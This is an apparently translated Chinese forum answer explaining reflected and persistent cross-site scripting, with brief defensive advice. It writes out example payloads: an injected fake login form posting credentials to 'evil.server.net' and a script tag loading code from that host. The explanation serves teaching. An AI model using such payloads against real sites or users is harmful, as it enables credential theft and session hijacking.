我不明白 JS/VBscript 如何造成如此大的损害!
行。假设您有一个站点,并且该站点是从http://trusted.server.com/thesite
. 假设这个网站有一个搜索框,当你搜索 url 时变成:http://trusted.server.com/thesite?query=somesearchstring
。
如果站点决定不处理搜索字符串并将其输出到结果中,例如“您搜索“somesearchstring”没有产生任何结果,那么任何人都可以将任意 html 注入站点。例如:
http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form>
因此,在这种情况下,该站点将尽职尽责地在搜索结果页面上显示一个虚假的登录表单,如果用户提交它,它会将数据发送到邪恶的不受信任的服务器。但是用户没有看到,尤其是。如果 url 真的很长,他们只会看到第一个但是,并假设他们正在处理trusted.server.com。
对此的变体包括注入一个<script>
标签,将事件处理程序添加到文档中以跟踪用户的操作,或将文档 cookie 发送到恶意服务器。通过这种方式,您可能会遇到敏感数据,例如登录名、密码或信用卡数据。或者您可以尝试插入一个<iframe>
占据整个客户端窗口的特殊样式,并为一个看起来像原始但实际上来自 evil.server.com 的站点提供服务。只要用户被欺骗使用注入的内容而不是原始内容,安全性就会受到损害。
这种类型的 XSS 称为反射型和非持久性。反射,因为 url 直接在响应中“relected”,非持久,因为实际站点没有改变 - 它只是作为一个传递。请注意,像 https 这样的东西在这里没有提供任何保护 - 站点本身已损坏,因为它通过查询字符串模仿用户输入。
现在的诀窍是让毫无戒心的用户相信你给他们的任何链接。例如,您可以向他们发送一封 HTML 电子邮件,并包含一个看起来很吸引人的链接,该链接指向伪造的 url。或者您也可以在 wiki、论坛等上传播它。我相信您会体会到它是多么简单——它只是一个链接,可能会出什么问题,对吧?
有时情况可能更糟。有些网站实际上存储用户提供的内容。简单的例子:博客上的评论或论坛上的话题。或者它可能更微妙:社交网络上的用户个人资料页面。如果这些页面允许任意 html,尤其是。脚本,并且这个用户提供的 html 被存储和复制,那么每个简单地访问包含这个内容的页面的人都处于危险之中。这是持久性 XSS。现在用户甚至不再需要点击链接,只需访问就足够了。同样,实际攻击包括通过脚本修改页面以捕获用户数据。
脚本注入可以是生硬的,例如,可以插入一个完整的<script src="http://evil.server.net/script.js">
,也可以是微妙的:<img src="broken" onerror="...quite elaborate script to dynamically add a script tag..."/>
.
至于如何保护自己:关键是永远不要输出用户输入。如果您的网站围绕用户提供的带有标记的内容,这可能会很困难。